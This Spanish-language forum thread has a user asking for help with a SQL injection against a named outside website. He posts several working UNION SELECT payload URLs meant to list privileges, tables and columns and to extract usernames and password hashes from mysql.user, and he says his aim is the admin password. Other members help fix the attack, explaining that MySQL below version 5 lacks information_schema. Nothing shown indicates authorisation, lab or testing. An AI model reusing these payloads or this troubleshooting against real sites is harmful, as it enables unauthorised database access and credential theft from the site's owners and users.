|
Título: Casi es Mio SQL inyection Publicado por: nuevaorden en 22 Marzo 2010, 23:22 pm Vale en esta web tengo:
http://www.webvulnerable.net/productos.php?id=-1+union+all+select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35-- Ya que hay 36- La versioón del Mysql es : 4.1.22 La base de Datos: qar139 Usuario " Creo" : qar139@% El tema es , intento sacar mas info como por ejemplo la lista de privilegios: http://www.webvulnerable.net/productos.php?id=-1+union+all+select%201,concat(grantee,privilege_type,is_grantable),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+information_schema.user_privileges-- pero me da este error: Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/vhost/webvulnerable.net/home/html/productos.php on line 53 Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhost/webvulnerable.net/home/html/productos.php on line 75 puede ser a la version del Mysql??? si es el caso alguien sabe como hacer la quiery correcta??? Gracias Título: Re: Casi es Mio SQL inyection Publicado por: Shell Root en 22 Marzo 2010, 23:24 pm Que raro, cuando estuvé en las iSQL solo queria sacar al user y pass del admin. Ahora no sé que es lo que estas haciendo vos... =F
Título: Re: Casi es Mio SQL inyection Publicado por: nuevaorden en 22 Marzo 2010, 23:28 pm jejejejeje, quiero ver las columnas de la base de datos, en ella hay una de usuarios supongo y no la puedo listar.... gracias
Título: Re: Casi es Mio SQL inyection Publicado por: nuevaorden en 22 Marzo 2010, 23:30 pm para poder ver el password...
Título: Re: Casi es Mio SQL inyection Publicado por: Shell Root en 22 Marzo 2010, 23:34 pm What The Fuck!
Título: Re: Casi es Mio SQL inyection Publicado por: nuevaorden en 22 Marzo 2010, 23:36 pm lo siento los newbabys como yo aprendemos de maestros como vosotros, buscando .... gracias
Título: Re: Casi es Mio SQL inyection Publicado por: nuevaorden en 22 Marzo 2010, 23:41 pm intentando ver las columnas:
http://www.webvulnerable.net/productos.php?id=-1+union+all+select%201,concat%28table_schema,0x3a,table_name,0x3a,column_name%29%20,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+FROM+information_schema.columns-- pero nada mysql error.... Título: Re: Casi es Mio SQL inyection Publicado por: Baaaw Oic en 22 Marzo 2010, 23:42 pm Pues resulta que la consulta esta mal planteada, es por eso que te retorna ese error. La query retorna falso y por ende mysql_num_rows y mysql_fetch_array muestra ese error. (valga la redundancia xD)
Título: Re: Casi es Mio SQL inyection Publicado por: Shell Root en 22 Marzo 2010, 23:43 pm Haz mirado tutorial de iSQL?
Título: Re: Casi es Mio SQL inyection Publicado por: nuevaorden en 22 Marzo 2010, 23:44 pm si he leido y estoy leyendo, por ejemplo uso:
http://www.webvulnerable.net/productos.php?id=-1+union+all+select%201,concat%28host,0x3a,user,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+FROM+mysql.user-- para sacr user y pass, pero nada me tira error Título: Re: Casi es Mio SQL inyection Publicado por: Shell Root en 23 Marzo 2010, 00:11 am Intentad así:
Código
Título: Re: Casi es Mio SQL inyection Publicado por: nuevaorden en 23 Marzo 2010, 00:20 am gracias, pero me da el mismo error, no lo termino de entender!!!
Título: Re: Casi es Mio SQL inyection Publicado por: Shell Root en 23 Marzo 2010, 00:39 am Que error?
Título: Re: Casi es Mio SQL inyection Publicado por: nuevaorden en 23 Marzo 2010, 00:45 am Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/vhost/webvulnerable.net/home/html/productos.php on line 53
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhost/webvulnerable.net/home/html/productos.php on line 75 Título: Re: Casi es Mio SQL inyection Publicado por: Shell Root en 23 Marzo 2010, 02:26 am mmm ya sé cual es él problema... Mira lo que pasa esque la version de MySQL debe ser >= 5 para que tenga information_schema de lo contrario no podras usarlo.
Título: Re: Casi es Mio SQL inyection Publicado por: WHK en 23 Marzo 2010, 06:10 am primero aprende lenguaje sql en mysql y php, despues intenta buscar vulnerabilidades.
http://foro.elhacker.net/nivel_web/iquestcomo_iniciarse_en_la_seguridad_web-t279791.0.html Título: Re: Casi es Mio SQL inyection Publicado por: nuevaorden en 23 Marzo 2010, 09:44 am saludos desde el año 1999 que programa con php y mysql, pero bueno siempre se puede estudiar mas :rolleyes:
|